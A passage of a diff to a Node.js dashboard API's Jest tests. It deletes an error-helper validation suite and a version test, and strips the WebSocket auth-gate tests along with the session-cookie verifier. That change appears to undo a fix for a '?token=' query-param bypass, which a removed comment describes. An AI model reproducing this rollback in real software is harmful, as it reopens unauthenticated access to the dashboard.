*
|
|
||||||
* DC-049 (caddy-upstream-watcher, shipped 2026-08-18) had 4 instances of this
|
|
||||||
* exact pattern in its route file, in the `!caddyUpstreamWatcher` defensive
|
|
||||||
* branch. The branch is currently unreachable in prod (the watcher is always
|
|
||||||
* wired in app.js:818-822) but the latent bug is a 1) crash-handler failure
|
|
||||||
* mode if the watcher module ever errored at load time, 2) wrong response
|
|
||||||
* shape (HTML instead of JSON), and 3) HTTP 500 instead of the intended 503.
|
|
||||||
*
|
|
||||||
* Two layers of fix:
|
|
||||||
* 1. routes/caddy-upstreams.js — swap the 4 callsites to (res, 503, msg).
|
|
||||||
* 2. src/utils/responses.js — add a defensive arg validator on
|
|
||||||
* errorResponse() so any future (res, <not-a-valid-status>, ...)
|
|
||||||
* call FAILS FAST with a clear TypeError instead of writing a 500 HTML
|
|
||||||
* panic to the client. The older `error()` helper (message-first,
|
|
||||||
* imported as `error: errorResponse`) intentionally preserves its
|
|
||||||
* existing API and is untouched.
|
|
||||||
*
|
|
||||||
* This test exercises both fixes.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const express = require('express');
|
|
||||||
const http = require('http');
|
|
||||||
const path = require('path');
|
|
||||||
|
|
||||||
// Use the repo's deps so the test fails under exactly the same module
|
|
||||||
// resolution as production code (otherwise symlink/path differences can
|
|
||||||
// mask validator-install gaps).
|
|
||||||
// __dirname = /opt/dashcaddy/dashcaddy-api/__tests__
|
|
||||||
// __dirname/../src/utils/responses = the file under test
|
|
||||||
const repoRoot = path.join(__dirname, '..');
|
|
||||||
|
|
||||||
const { errorResponse, error: legacyError } = require(path.join(repoRoot, 'src/utils/responses'));
|
|
||||||
|
|
||||||
function get(port, urlPath) {
|
|
||||||
return new Promise((resolve, reject) => {
|
|
||||||
const req = http.get(`http://localhost:${port}${urlPath}`, (resp) => {
|
|
||||||
let body = '';
|
|
||||||
resp.on('data', (c) => { body += c; });
|
|
||||||
resp.on('end', () => resolve({ status: resp.statusCode, headers: resp.headers, body }));
|
|
||||||
});
|
|
||||||
req.on('error', reject);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('errorResponse canonical arg-order + type guard (DC-062)', () => {
|
|
||||||
test('correct order — (res, 503, msg) returns 503 JSON', () => {
|
|
||||||
const mockRes = {
|
|
||||||
status(code) { mockRes._code = code; return this; },
|
|
||||||
json(body) { mockRes._body = body; return this; },
|
|
||||||
};
|
|
||||||
errorResponse(mockRes, 503, 'Caddy upstream watcher not initialized');
|
|
||||||
expect(mockRes._code).toBe(503);
|
|
||||||
expect(mockRes._body).toEqual({ success: false, error: 'Caddy upstream watcher not initialized' });
|
|
||||||
});
|
|
||||||
|
|
||||||
test('swapped order — (res, msg, statusCode) throws TypeError instead of writing a 500 HTML panic', () => {
|
|
||||||
// Before DC-062: errorResponse would call res.status('string-msg'),
|
|
||||||
// Express throws RangeError, error middleware catches it, writes 500 HTML.
|
|
||||||
// After DC-062: errorResponse itself rejects the call with a clear
|
|
||||||
// TypeError, naming the wrong arg.
|
|
||||||
const mockRes = {
|
|
||||||
status: () => mockRes,
|
|
||||||
json: () => mockRes,
|
|
||||||
};
|
|
||||||
expect(() => errorResponse(mockRes, 'Caddy upstream watcher not initialized', 503))
|
|
||||||
.toThrow(TypeError);
|
|
||||||
expect(() => errorResponse(mockRes, 'Caddy upstream watcher not initialized', 503))
|
|
||||||
.toThrow(/statusCode must be an integer HTTP status/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test.each([
|
|
||||||
['NaN', NaN],
|
|
||||||
['Infinity', Infinity],
|
|
||||||
['string "503"', '503'],
|
|
||||||
['null', null],
|
|
||||||
['undefined', undefined],
|
|
||||||
['underflow 99', 99],
|
|
||||||
['overflow 600', 600],
|
|
||||||
['float 503.5', 503.5],
|
|
||||||
['object', { code: 503 }],
|
|
||||||
['array', [503]],
|
|
||||||
])('rejects invalid statusCode %s', (_name, badStatus) => {
|
|
||||||
const mockRes = {
|
|
||||||
status: () => mockRes,
|
|
||||||
json: () => mockRes,
|
|
||||||
};
|
|
||||||
expect(() => errorResponse(mockRes, badStatus, 'msg')).toThrow(TypeError);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects non-string message', () => {
|
|
||||||
const mockRes = {
|
|
||||||
status: () => mockRes,
|
|
||||||
json: () => mockRes,
|
|
||||||
};
|
|
||||||
expect(() => errorResponse(mockRes, 503, 123)).toThrow(TypeError);
|
|
||||||
expect(() => errorResponse(mockRes, 503, null)).toThrow(TypeError);
|
|
||||||
expect(() => errorResponse(mockRes, 503, undefined)).toThrow(TypeError);
|
|
||||||
expect(() => errorResponse(mockRes, 503, { msg: 'x' })).toThrow(TypeError);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('preserves correct callers (DC-086 extras.code propagation still works)', () => {
|
|
||||||
const mockRes = {
|
|
||||||
status: () => mockRes,
|
|
||||||
json: (b) => { mockRes._lastBody = b; return mockRes; },
|
|
||||||
};
|
|
||||||
errorResponse(mockRes, 409, 'Conflict', { code: 'DC-CONF-1', extra: 'detail' });
|
|
||||||
expect(mockRes._lastBody).toEqual({
|
|
||||||
success: false,
|
|
||||||
error: 'Conflict',
|
|
||||||
code: 'DC-CONF-1',
|
|
||||||
extra: 'detail',
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
test('legacy `error()` helper (message, status) is UNCHANGED — still works', () => {
|
|
||||||
// Regression guard for alias-style importers (dns.js, services.js,
|
|
||||||
// ssl-monitor.js, license.js, dependencies.js, errorlogs.js, etc.).
|
|
||||||
// The legacy helper takes (res, message, statusCode) order. Make sure
|
|
||||||
// the validator we added to `errorResponse` doesn't bleed into
|
|
||||||
// `error()`.
|
|
||||||
const mockRes = {
|
|
||||||
status(code) { mockRes._code = code; return this; },
|
|
||||||
json(body) { mockRes._body = body; return this; },
|
|
||||||
};
|
|
||||||
legacyError(mockRes, 'service unavailable', 503);
|
|
||||||
expect(mockRes._code).toBe(503);
|
|
||||||
expect(mockRes._body).toEqual({ success: false, error: 'service unavailable' });
|
|
||||||
});
|
|
||||||
|
|
||||||
test('regression: an Express response with res.status(string) emits HTML 500 — proves the bug pre-fix', async () => {
|
|
||||||
// This is the failure mode DC-062 prevents. We still need this to
|
|
||||||
// be true to prove the guard's value: if a call site ever slipped past
|
|
||||||
// the validator (e.g. by sending a non-number disguised as code 0),
|
|
||||||
// the server still doesn't return the intended status as JSON.
|
|
||||||
const server = await new Promise((resolve) => {
|
|
||||||
const app = express();
|
|
||||||
app.get('/probe', (req, res) => {
|
|
||||||
try {
|
|
||||||
res.status('not a status').json({ ok: false });
|
|
||||||
} catch (_) {
|
|
||||||
res.end();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
const s = app.listen(0, () => resolve({
|
|
||||||
port: s.address().port,
|
|
||||||
close: () => new Promise((r) => s.close(r)),
|
|
||||||
}));
|
|
||||||
});
|
|
||||||
try {
|
|
||||||
const resp = await get(server.port, '/probe');
|
|
||||||
expect(resp.status).toBe(500);
|
|
||||||
// Express renders an HTML error page (not JSON) — this is the bug
|
|
||||||
// class DC-062 prevents at the helper layer.
|
|
||||||
expect(resp.headers['content-type'] || '').toMatch(/text\/html/);
|
|
||||||
} finally {
|
|
||||||
await server.close();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// Mount the real route module and inject a null watcher — proves the
|
|
||||||
// the four `!caddyUpstreamWatcher` paths now respond with the intended
|
|
||||||
// 503 JSON shape, not a 500 HTML panic.
|
|
||||||
describe('caddy-upstreams JSON response shape (route file literal fix)', () => {
|
|
||||||
// The real route module exports a factory `function({ asyncHandler, caddyUpstreamWatcher, healthChecker })`.
|
|
||||||
// We need to provide an asyncHandler shim since the route file uses it.
|
|
||||||
function asyncHandlerShim(fn) { return fn; }
|
|
||||||
// The factory also depends on the asyncHandler resolving rejected
|
|
||||||
// promises to errors. Define a simple one that just calls next(err).
|
|
||||||
function asyncHandler(fn) {
|
|
||||||
return (req, res, next) => {
|
|
||||||
Promise.resolve(fn(req, res, next)).catch(next);
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
function mountRouter(router) {
|
|
||||||
return new Promise((resolve) => {
|
|
||||||
const app = express();
|
|
||||||
app.use('/api/v1', router);
|
|
||||||
const server = app.listen(0, () => resolve({
|
|
||||||
port: server.address().port,
|
|
||||||
close: () => new Promise((r) => server.close(r)),
|
|
||||||
}));
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
function loadRoute(deps) {
|
|
||||||
return require(path.join(repoRoot, 'routes/caddy-upstreams'))(deps);
|
|
||||||
}
|
|
||||||
|
|
||||||
test('GET /caddy/upstreams with null watcher — 503 JSON (regression for swap bug)', async () => {
|
|
||||||
const router = loadRoute({
|
|
||||||
asyncHandler,
|
|
||||||
caddyUpstreamWatcher: null,
|
|
||||||
healthChecker: null,
|
|
||||||
});
|
|
||||||
const server = await mountRouter(router);
|
|
||||||
try {
|
|
||||||
const resp = await get(server.port, '/api/v1/caddy/upstreams');
|
|
||||||
expect(resp.status).toBe(503);
|
|
||||||
expect(resp.body).toContain('"success":false');
|
|
||||||
expect(resp.body).toContain('Caddy upstream watcher not initialized');
|
|
||||||
expect(resp.headers['content-type'] || '').toMatch(/application\/json/);
|
|
||||||
} finally {
|
|
||||||
await server.close();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
test('POST /caddy/upstreams/:host/mute with null watcher — 503 JSON', async () => {
|
|
||||||
const router = loadRoute({
|
|
||||||
asyncHandler,
|
|
||||||
caddyUpstreamWatcher: null,
|
|
||||||
healthChecker: null,
|
|
||||||
});
|
|
||||||
const server = await mountRouter(router);
|
|
||||||
try {
|
|
||||||
const req = http.request({
|
|
||||||
hostname: 'localhost',
|
|
||||||
port: server.port,
|
|
||||||
method: 'POST',
|
|
||||||
path: '/api/v1/caddy/upstreams/100.74.102.61:8080/mute',
|
|
||||||
}, (res) => {
|
|
||||||
let body = '';
|
|
||||||
res.on('data', (c) => { body += c; });
|
|
||||||
res.on('end', () => {
|
|
||||||
expect(res.statusCode).toBe(503);
|
|
||||||
expect(body).toContain('"success":false');
|
|
||||||
expect(body).toContain('Caddy upstream watcher not initialized');
|
|
||||||
expect(res.headers['content-type'] || '').toMatch(/application\/json/);
|
|
||||||
server.close();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
req.on('error', (e) => { throw e; });
|
|
||||||
req.end();
|
|
||||||
} finally {
|
|
||||||
// server.close() will run via res.on('end') — defensively guard too.
|
|
||||||
// (Don't double-close if test already returned.)
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
test('POST /caddy/upstreams/mute (bare) with null watcher — 503 JSON', async () => {
|
|
||||||
const router = loadRoute({
|
|
||||||
asyncHandler,
|
|
||||||
caddyUpstreamWatcher: null,
|
|
||||||
healthChecker: null,
|
|
||||||
});
|
|
||||||
const server = await mountRouter(router);
|
|
||||||
try {
|
|
||||||
const resp = await new Promise((resolve, reject) => {
|
|
||||||
const req = http.request({
|
|
||||||
hostname: 'localhost',
|
|
||||||
port: server.port,
|
|
||||||
method: 'POST',
|
|
||||||
path: '/api/v1/caddy/upstreams/mute',
|
|
||||||
headers: { 'Content-Type': 'application/json' },
|
|
||||||
}, (res) => {
|
|
||||||
let body = '';
|
|
||||||
res.on('data', (c) => { body += c; });
|
|
||||||
res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body }));
|
|
||||||
});
|
|
||||||
req.on('error', reject);
|
|
||||||
req.end('{"host":"x","muted":true}');
|
|
||||||
});
|
|
||||||
expect(resp.status).toBe(503);
|
|
||||||
expect(resp.body).toContain('Caddy upstream watcher not initialized');
|
|
||||||
expect(resp.headers['content-type'] || '').toMatch(/application\/json/);
|
|
||||||
} finally {
|
|
||||||
await server.close();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
test('POST /caddy/upstreams/:host/unmute with null watcher — 503 JSON', async () => {
|
|
||||||
const router = loadRoute({
|
|
||||||
asyncHandler,
|
|
||||||
caddyUpstreamWatcher: null,
|
|
||||||
healthChecker: null,
|
|
||||||
});
|
|
||||||
const server = await mountRouter(router);
|
|
||||||
try {
|
|
||||||
const resp = await new Promise((resolve, reject) => {
|
|
||||||
const req = http.request({
|
|
||||||
hostname: 'localhost',
|
|
||||||
port: server.port,
|
|
||||||
method: 'POST',
|
|
||||||
path: '/api/v1/caddy/upstreams/100.74.102.61:8080/unmute',
|
|
||||||
}, (res) => {
|
|
||||||
let body = '';
|
|
||||||
res.on('data', (c) => { body += c; });
|
|
||||||
res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body }));
|
|
||||||
});
|
|
||||||
req.on('error', reject);
|
|
||||||
req.end();
|
|
||||||
});
|
|
||||||
expect(resp.status).toBe(503);
|
|
||||||
expect(resp.body).toContain('Caddy upstream watcher not initialized');
|
|
||||||
expect(resp.headers['content-type'] || '').toMatch(/application\/json/);
|
|
||||||
} finally {
|
|
||||||
await server.close();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
test('route file source: no swapped-order patterns remain', () => {
|
|
||||||
// Static scan of the post-fix route file: confirms the 4 swapped calls
|
|
||||||
// are gone. If a future refactor re-introduces the pattern, this scan
|
|
||||||
// catches it at test-time (before it ever lands in prod).
|
|
||||||
const fs = require('fs');
|
|
||||||
const src = fs.readFileSync(
|
|
||||||
path.join(repoRoot, 'routes/caddy-upstreams.js'),
|
|
||||||
'utf8'
|
|
||||||
);
|
|
||||||
// Match `errorResponse(res, <quote-or-backtick>, <int>)` — the
|
|
||||||
// swapped-order shape (string literal in the 2nd arg position).
|
|
||||||
const swappedRe = /errorResponse\(res,\s*['"`]/;
|
|
||||||
expect(src).not.toMatch(swappedRe);
|
|
||||||
// And confirm the corrected shape appears at least four times
|
|
||||||
// (the four `!caddyUpstreamWatcher` guards).
|
|
||||||
const canonicalRe = /errorResponse\(res,\s*503,\s*['"]Caddy upstream watcher not initialized['"]/g;
|
|
||||||
const matches = src.match(canonicalRe) || [];
|
|
||||||
expect(matches.length).toBe(4);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,31 +0,0 @@
|
|||||||
'use strict';
|
|
||||||
|
|
||||||
const fs = require('fs');
|
|
||||||
const path = require('path');
|
|
||||||
|
|
||||||
const apiRoot = path.join(__dirname, '..');
|
|
||||||
|
|
||||||
describe('production version contract', () => {
|
|
||||||
test('package semver is the source reported by the public version route', () => {
|
|
||||||
const pkg = JSON.parse(fs.readFileSync(path.join(apiRoot, 'package.json'), 'utf8'));
|
|
||||||
const app = fs.readFileSync(path.join(apiRoot, 'src', 'app.js'), 'utf8');
|
|
||||||
expect(pkg.version).toMatch(/^\d+\.\d+\.\d+$/);
|
|
||||||
// The version route is now extracted to routes/version.js and wired in.
|
|
||||||
expect(app).toMatch(/require\(['"]\.\.\/routes\/version['"]\)/);
|
|
||||||
expect(app).toMatch(/versionRoute\.buildRouter\(\)/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('production Docker image copies the manifest read by the route', () => {
|
|
||||||
const dockerfile = fs.readFileSync(path.join(apiRoot, 'Dockerfile'), 'utf8');
|
|
||||||
expect(dockerfile).toMatch(/^COPY package\.json \.\/$/m);
|
|
||||||
expect(dockerfile).toMatch(/^RUN npm ci --omit=dev$/m);
|
|
||||||
expect(dockerfile).not.toMatch(/^RUN npm install$/m);
|
|
||||||
expect(dockerfile).toMatch(/^COPY src\/ \.\/src\/$/m);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('routes/version.js exports the production route module', () => {
|
|
||||||
const versionRoute = require('../routes/version');
|
|
||||||
expect(typeof versionRoute.buildRouter).toBe('function');
|
|
||||||
expect(versionRoute.getVersion()).toMatch(/^\d+\.\d+\.\d+$/);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,17 +1,10 @@
|
|||||||
/**
|
/**
|
||||||
* DC-076 / DC-061: Tests for the dashboard WebSocket server
|
* DC-076: Tests for the dashboard WebSocket server
|
||||||
*
|
|
||||||
* DC-061 added:
|
|
||||||
* - Real authVerifier injection (no string-presence-only check)
|
|
||||||
* - Rejection of bare cookies / token query params
|
|
||||||
* - close() detaches only OUR listeners (not shared SSE listeners)
|
|
||||||
* - Message size cap (16 KB)
|
|
||||||
* - parseCookieHeader unit coverage
|
|
||||||
*/
|
*/
|
||||||
const http = require('http');
|
const http = require('http');
|
||||||
const WebSocket = require('ws');
|
const WebSocket = require('ws');
|
||||||
const EventEmitter = require('events');
|
const EventEmitter = require('events');
|
||||||
const { createDashboardWS, parseCookieHeader } = require('../../src/websocket/dashboard-ws');
|
const createDashboardWS = require('../../src/websocket/dashboard-ws');
|
||||||
|
|
||||||
function createMockServer() {
|
function createMockServer() {
|
||||||
return http.createServer((req, res) => {
|
return http.createServer((req, res) => {
|
||||||
@@ -20,38 +13,23 @@ function createMockServer() {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* Build a stub verifier that mimics the production `session.isValid`
|
|
||||||
* shape: takes an IncomingMessage-ish request, returns true iff the
|
|
||||||
* session cookie value is a non-empty string.
|
|
||||||
*/
|
|
||||||
function cookieValueVerifier() {
|
|
||||||
return (req) => {
|
|
||||||
const parsed = parseCookieHeader(req && req.headers && req.headers.cookie);
|
|
||||||
const raw = parsed.dashcaddy_session;
|
|
||||||
return typeof raw === 'string' && raw.length > 0;
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('DC-076: Dashboard WebSocket', () => {
|
describe('DC-076: Dashboard WebSocket', () => {
|
||||||
let server, wsServer, port;
|
let server, wsServer, port;
|
||||||
let resourceMonitor, healthChecker, updateManager;
|
|
||||||
|
|
||||||
beforeEach((done) => {
|
beforeEach((done) => {
|
||||||
server = createMockServer();
|
server = createMockServer();
|
||||||
server.listen(0, () => {
|
server.listen(0, () => {
|
||||||
port = server.address().port;
|
port = server.address().port;
|
||||||
|
|
||||||
resourceMonitor = new EventEmitter();
|
const resourceMonitor = new EventEmitter();
|
||||||
healthChecker = new EventEmitter();
|
const healthChecker = new EventEmitter();
|
||||||
updateManager = new EventEmitter();
|
const updateManager = new EventEmitter();
|
||||||
|
|
||||||
wsServer = createDashboardWS(server, {
|
wsServer = createDashboardWS(server, {
|
||||||
resourceMonitor,
|
resourceMonitor,
|
||||||
healthChecker,
|
healthChecker,
|
||||||
updateManager,
|
updateManager,
|
||||||
authVerifier: cookieValueVerifier(),
|
log: { info: jest.fn(), error: jest.fn() },
|
||||||
log: { info: jest.fn(), error: jest.fn(), warn: jest.fn() },
|
|
||||||
});
|
});
|
||||||
done();
|
done();
|
||||||
});
|
});
|
||||||
@@ -62,19 +40,19 @@ describe('DC-076: Dashboard WebSocket', () => {
|
|||||||
server.close(done);
|
server.close(done);
|
||||||
});
|
});
|
||||||
|
|
||||||
it('accepts connections at the upgrade path with a session cookie', (done) => {
|
it('accepts connections at the upgrade path', (done) => {
|
||||||
const ws = new WebSocket(`ws://localhost:${port}/api/v1/ws`, {
|
const ws = new WebSocket(`ws://localhost:${port}/api/v1/ws`);
|
||||||
headers: { Cookie: 'dashcaddy_session=valid-session-id' },
|
ws.on('open', () => {
|
||||||
|
ws.close();
|
||||||
|
});
|
||||||
|
ws.on('close', () => {
|
||||||
|
done();
|
||||||
});
|
});
|
||||||
ws.on('open', () => ws.close());
|
|
||||||
ws.on('close', () => done());
|
|
||||||
ws.on('error', done);
|
ws.on('error', done);
|
||||||
});
|
});
|
||||||
|
|
||||||
it('sends a connected event on join', (done) => {
|
it('sends a connected event on join', (done) => {
|
||||||
const ws = new WebSocket(`ws://localhost:${port}/api/v1/ws`, {
|
const ws = new WebSocket(`ws://localhost:${port}/api/v1/ws`);
|
||||||
headers: { Cookie: 'dashcaddy_session=valid-session-id' },
|
|
||||||
});
|
|
||||||
ws.on('message', (raw) => {
|
ws.on('message', (raw) => {
|
||||||
const msg = JSON.parse(raw.toString());
|
const msg = JSON.parse(raw.toString());
|
||||||
if (msg.type === 'connected') {
|
if (msg.type === 'connected') {
|
||||||
@@ -87,9 +65,7 @@ describe('DC-076: Dashboard WebSocket', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
it('responds to ping with pong', (done) => {
|
it('responds to ping with pong', (done) => {
|
||||||
const ws = new WebSocket(`ws://localhost:${port}/api/v1/ws`, {
|
const ws = new WebSocket(`ws://localhost:${port}/api/v1/ws`);
|
||||||
headers: { Cookie: 'dashcaddy_session=valid-session-id' },
|
|
||||||
});
|
|
||||||
ws.on('open', () => {
|
ws.on('open', () => {
|
||||||
ws.send(JSON.stringify({ type: 'ping' }));
|
ws.send(JSON.stringify({ type: 'ping' }));
|
||||||
});
|
});
|
||||||
@@ -104,9 +80,7 @@ describe('DC-076: Dashboard WebSocket', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
it('responds to subscribe with subscribed confirmation', (done) => {
|
it('responds to subscribe with subscribed confirmation', (done) => {
|
||||||
const ws = new WebSocket(`ws://localhost:${port}/api/v1/ws`, {
|
const ws = new WebSocket(`ws://localhost:${port}/api/v1/ws`);
|
||||||
headers: { Cookie: 'dashcaddy_session=valid-session-id' },
|
|
||||||
});
|
|
||||||
ws.on('open', () => {
|
ws.on('open', () => {
|
||||||
ws.send(JSON.stringify({ type: 'subscribe', events: ['resource-alert', 'incident'] }));
|
ws.send(JSON.stringify({ type: 'subscribe', events: ['resource-alert', 'incident'] }));
|
||||||
});
|
});
|
||||||
@@ -122,9 +96,7 @@ describe('DC-076: Dashboard WebSocket', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
it('responds to client-count request', (done) => {
|
it('responds to client-count request', (done) => {
|
||||||
const ws = new WebSocket(`ws://localhost:${port}/api/v1/ws`, {
|
const ws = new WebSocket(`ws://localhost:${port}/api/v1/ws`);
|
||||||
headers: { Cookie: 'dashcaddy_session=valid-session-id' },
|
|
||||||
});
|
|
||||||
ws.on('open', () => {
|
ws.on('open', () => {
|
||||||
ws.send(JSON.stringify({ type: 'client-count' }));
|
ws.send(JSON.stringify({ type: 'client-count' }));
|
||||||
});
|
});
|
||||||
@@ -140,9 +112,7 @@ describe('DC-076: Dashboard WebSocket', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
it('returns error for invalid JSON', (done) => {
|
it('returns error for invalid JSON', (done) => {
|
||||||
const ws = new WebSocket(`ws://localhost:${port}/api/v1/ws`, {
|
const ws = new WebSocket(`ws://localhost:${port}/api/v1/ws`);
|
||||||
headers: { Cookie: 'dashcaddy_session=valid-session-id' },
|
|
||||||
});
|
|
||||||
ws.on('open', () => {
|
ws.on('open', () => {
|
||||||
ws.send('not json');
|
ws.send('not json');
|
||||||
});
|
});
|
||||||
@@ -165,210 +135,3 @@ describe('DC-076: Dashboard WebSocket', () => {
|
|||||||
expect(() => wsServer.broadcast('test', { foo: 'bar' })).not.toThrow();
|
expect(() => wsServer.broadcast('test', { foo: 'bar' })).not.toThrow();
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
// ─────────────────────────────────────────────────────────────────────
|
|
||||||
// DC-061 auth gate tests
|
|
||||||
// ─────────────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
describe('DC-061: WS upgrade auth gate', () => {
|
|
||||||
let server, wsServer, port;
|
|
||||||
|
|
||||||
beforeEach((done) => {
|
|
||||||
server = createMockServer();
|
|
||||||
server.listen(0, () => {
|
|
||||||
port = server.address().port;
|
|
||||||
wsServer = createDashboardWS(server, {
|
|
||||||
resourceMonitor: new EventEmitter(),
|
|
||||||
healthChecker: new EventEmitter(),
|
|
||||||
updateManager: new EventEmitter(),
|
|
||||||
authVerifier: cookieValueVerifier(),
|
|
||||||
log: { info: jest.fn(), error: jest.fn(), warn: jest.fn() },
|
|
||||||
});
|
|
||||||
done();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
afterEach((done) => {
|
|
||||||
wsServer.close();
|
|
||||||
server.close(done);
|
|
||||||
});
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Open a raw socket, send a hand-crafted WS upgrade request, and read
|
|
||||||
* the server's HTTP status line. Avoids the ws library's auto-retry
|
|
||||||
* behaviour so we get a deterministic single response.
|
|
||||||
*/
|
|
||||||
function probeUpgrade({ path, cookie, token } = {}) {
|
|
||||||
return new Promise((resolve, reject) => {
|
|
||||||
const net = require('net');
|
|
||||||
const sock = net.createConnection(port, '127.0.0.1');
|
|
||||||
let buf = '';
|
|
||||||
const headers = [
|
|
||||||
`GET ${path || '/api/v1/ws'} HTTP/1.1`,
|
|
||||||
'Host: 127.0.0.1',
|
|
||||||
'Upgrade: websocket',
|
|
||||||
'Connection: Upgrade',
|
|
||||||
'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==',
|
|
||||||
'Sec-WebSocket-Version: 13',
|
|
||||||
];
|
|
||||||
if (cookie) headers.push(`Cookie: ${cookie}`);
|
|
||||||
if (token) {
|
|
||||||
const sep = path && path.includes('?') ? '&' : '?';
|
|
||||||
headers[0] = headers[0].replace(path, `${path || '/api/v1/ws'}${sep}token=${token}`);
|
|
||||||
}
|
|
||||||
sock.on('connect', () => {
|
|
||||||
sock.write(headers.join('\r\n') + '\r\n\r\n');
|
|
||||||
});
|
|
||||||
sock.on('data', (chunk) => {
|
|
||||||
buf += chunk.toString('utf8');
|
|
||||||
if (buf.includes('\r\n\r\n')) {
|
|
||||||
sock.destroy();
|
|
||||||
const statusLine = buf.split('\r\n')[0];
|
|
||||||
const status = parseInt((statusLine.match(/HTTP\/1\.1 (\d+)/) || [])[1], 10);
|
|
||||||
resolve({ status, raw: buf });
|
|
||||||
}
|
|
||||||
});
|
|
||||||
sock.on('error', (err) => {
|
|
||||||
// Connection reset is fine — server destroys socket after 401.
|
|
||||||
if (buf) resolve({ status: -1, raw: buf });
|
|
||||||
else reject(err);
|
|
||||||
});
|
|
||||||
setTimeout(() => {
|
|
||||||
if (!buf) {
|
|
||||||
sock.destroy();
|
|
||||||
reject(new Error('No response within 1s'));
|
|
||||||
}
|
|
||||||
}, 1000);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
it('rejects WS upgrade with NO cookie', async () => {
|
|
||||||
const res = await probeUpgrade({});
|
|
||||||
expect(res.status).toBe(401);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects WS upgrade with empty session cookie value', async () => {
|
|
||||||
const res = await probeUpgrade({ cookie: 'dashcaddy_session=' });
|
|
||||||
expect(res.status).toBe(401);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects WS upgrade with unrelated cookie (no session cookie)', async () => {
|
|
||||||
const res = await probeUpgrade({ cookie: 'foo=bar; baz=qux' });
|
|
||||||
expect(res.status).toBe(401);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('NO LONGER accepts `?token=` query param bypass (DC-061 fix)', async () => {
|
|
||||||
// Pre-DC-061: any 11+ char token in ?token=... granted WS access in
|
|
||||||
// production. Post-fix: token query param is ignored entirely; only a
|
|
||||||
// valid session cookie grants access.
|
|
||||||
const res = await probeUpgrade({ token: 'thisstringisdefinitelylongenough' });
|
|
||||||
expect(res.status).toBe(401);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects WS upgrade with token= AND empty cookie (no bypass combo)', async () => {
|
|
||||||
const res = await probeUpgrade({ cookie: 'dashcaddy_session=', token: 'abcdefghijklmnop' });
|
|
||||||
expect(res.status).toBe(401);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('accepts upgrade when verifier returns true', async () => {
|
|
||||||
const res = await probeUpgrade({ cookie: 'dashcaddy_session=valid-session-id' });
|
|
||||||
// 101 Switching Protocols for successful WS handshake
|
|
||||||
expect(res.status).toBe(101);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// ─────────────────────────────────────────────────────────────────────
|
|
||||||
// DC-061 close() listener detach test (the SSE-poisoning regression)
|
|
||||||
// ─────────────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
describe('DC-061: close() detaches only OUR listeners', () => {
|
|
||||||
it('does NOT remove listeners attached by SSE route to shared emitters', () => {
|
|
||||||
// Set up two "subscribers" on the same EventEmitter, simulating the
|
|
||||||
// real-world shape: SSE route subscribes via `.on('alert', sseHandler)`
|
|
||||||
// and dashboard-ws subscribes via `.on('alert', wsHandler)` to the
|
|
||||||
// SAME resourceMonitor. Calling dashboard-ws.close() must remove
|
|
||||||
// ONLY wsHandler — sseHandler must remain.
|
|
||||||
const server = createMockServer();
|
|
||||||
const resourceMonitor = new EventEmitter();
|
|
||||||
|
|
||||||
// Pre-existing "SSE" listener (registered before dashboard-ws boots)
|
|
||||||
const sseHandler = jest.fn();
|
|
||||||
resourceMonitor.on('alert', sseHandler);
|
|
||||||
|
|
||||||
const wsServer = createDashboardWS(server, {
|
|
||||||
resourceMonitor,
|
|
||||||
healthChecker: new EventEmitter(),
|
|
||||||
updateManager: new EventEmitter(),
|
|
||||||
authVerifier: () => true,
|
|
||||||
log: { info: jest.fn(), error: jest.fn(), warn: jest.fn() },
|
|
||||||
});
|
|
||||||
|
|
||||||
// dashboard-ws added its own listener — verify it's there
|
|
||||||
const wsHandlerCallsBefore = resourceMonitor.listenerCount('alert');
|
|
||||||
expect(wsHandlerCallsBefore).toBe(2); // sseHandler + wsHandler
|
|
||||||
|
|
||||||
// Now close dashboard-ws — must not remove sseHandler
|
|
||||||
wsServer.close();
|
|
||||||
|
|
||||||
const wsHandlerCallsAfter = resourceMonitor.listenerCount('alert');
|
|
||||||
expect(wsHandlerCallsAfter).toBe(1); // sseHandler ONLY — wsHandler gone
|
|
||||||
|
|
||||||
